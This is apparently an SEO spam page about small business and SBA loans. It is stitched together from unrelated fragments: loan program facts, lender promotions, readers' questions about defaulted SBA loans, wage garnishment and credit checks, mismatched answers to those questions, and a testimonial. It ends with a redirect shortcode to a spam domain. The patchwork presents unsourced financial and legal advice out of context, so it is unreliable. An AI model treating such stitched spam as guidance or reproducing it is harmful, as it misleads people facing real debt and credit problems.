“small business loans scranton pa business loans iom”

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The maximum amount you can borrow with an SBA disaster loan is $2 million. The maximum repayment time is 30 years, though the SBA will determine the repayment time on a case-by-case basis depending on your ability to pay back the loan.

PG, your situation sounds very familiar to emails and phone calls that I get weekly. It sounds like you did the typical run and hide in a default situation back in 2007. What happened was, after a period of time the SBA passed this file down to the US Department of Treasury and eventually your file ended up on somebody’s desk and they took your tax returns. The next thing they will do is start a wage garnishment proceeding. I would not worry about a foreclosure as there is not enough money owed for them to pursue that. You need to contact the Department of Treasury, and track your file down and negotiate some type of payment plan with them.

Prior to submitting your application, you should have a plan for how you will utilize the business financing. Do you have broken equipment that must be fixed, a need to meet payroll, or do you want to expand your business? Knowing how you want to use your working capital will help you determine how quickly you need it, how much your business requires, and the cost you’re comfortable paying. Luckily, we don’t restrict how to use your working – check out the section below to learn about the top uses of funds!

• Rural Lender Advantage Program These loans are designed to promote the economic development in rural communities, in particular communities that are losing population, have high unemployment, or are losing industries.

Borrowing from family and friends is right for you if you have a network of high net-worth individuals and are out of other financing options. Beware though, that the lack of documentation in these arrangements could lead to reporting and legal problems, but also could stymie your fundraising efforts (it just didn’t look professional).

A HEL might be right for you if you need a large lump sum amount of money for upfront businesses expenses that are essential to your operations. You’ll immediately be making payments on the full loan after closing.

I have an SBA disaster loan from Huricane Katrina. I have been separated from my husband for over 2 years. Our home was foreclosed on in Feb. 2010 by the mortgage company. My husband refuses to give me a divorce so I have decided to move on with my life. I have been renting for over 2 years now and am ready to buy a home for my children and myself. Everything has been going well on the mortgage paperwork until a Cavirs was run and it came up with a default on the SBA loan. My husband is being garnished by the SBA and has been working on a payment plan with. So can I get the Cavirs removed so that I can continues with the process of buying a home?

The Cost of Credit After you have gone through the application process and you are approved, you need to still make some important decisions. Understanding the true cost of credit can be confusing. Choosing between the available loan products can greatly affect the amount of the total or true cost of your business loan.

We are sorry to hear about your misfortune. Unfortunately, this will likely continue until all of the loan amount is repaid, although they should provide accounting statements, especially if you have requested them.

Because you have strong personal credit, you could qualify for a line of credit through BlueVine or OnDeck that would help you meet daily expenses and maintain inventory. If you’ve been in business at least a year and have at least $100,000 in annual revenue, consider OnDeck, whose maximum APR is lower than BlueVine’s. If your annual revenue starts at $60,000, BlueVine is a better bet. BlueVine also offers invoice factoring, a type of financing that advances you cash based on your unpaid customer invoices.

Under law, the SBA can’t guarantee loans to businesses that can obtain the money they need on their own. So you have to apply for a loan on your own from a bank or other financial institution and be turned down.

I have come across complications such as I don’t already have my own business which means I don’t have any revenue coming in to show, my credit is a little under 650, and I have no one to co-sign for me.

In 2008 we defaulted on SBA loan, went through a foreclosure and our lawyer told us we were ‘all set’ and we through we were, this SUMMER we got a bill for $150,000. No contact in 7 years and the SBA all of a sudden sent us right on to the department of Treasury, no due process…. forced us into an emergency bankruptcy.

Rand & Janeel, eyeSmith Sport & Fashion Optical; Kansas City, MO After raising eight children, Rand and Janeel were ready to start a new chapter for their family. The couple put their past business experience to good use and tapped into their retirement funds to start an independent eyewear business.

The SBA’s flagship 7(a) loan program also offers financing that borrowers can use to start businesses. But 7(a) SBA loans are tough to get. They typically go to established businesses that can provide collateral — a physical asset, such as real estate or equipment, that the lender can sell if you default. The qualifications are strict, and even if you qualify, the process can take several months.

I have a question about an SBA loan that my ex-husband received several years ago. Because we were married at the time, I was required to sign the loan papers. We subsequently divorced. I recently learned that he is 90+ day late in repaying the loan (not the first time he’s been late) and the bank had an atty send him, his 2 business partners and me a letter demanding full payment. My ex has subsequently worked out a repayment plan with the bank and they’ve put collection on hold. If he doesn’t meet those guidelines (and I’m fairly certain he won’t), the will go back to the demand for full payment. His office bldg is collateral, however it’s underwater. He filed bankruptcy about a year ago and included this loan. I’m looking for any advice on what I should be doing at this point to protect myself/my personal credit, and any indication of what I should expect if he does default. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]

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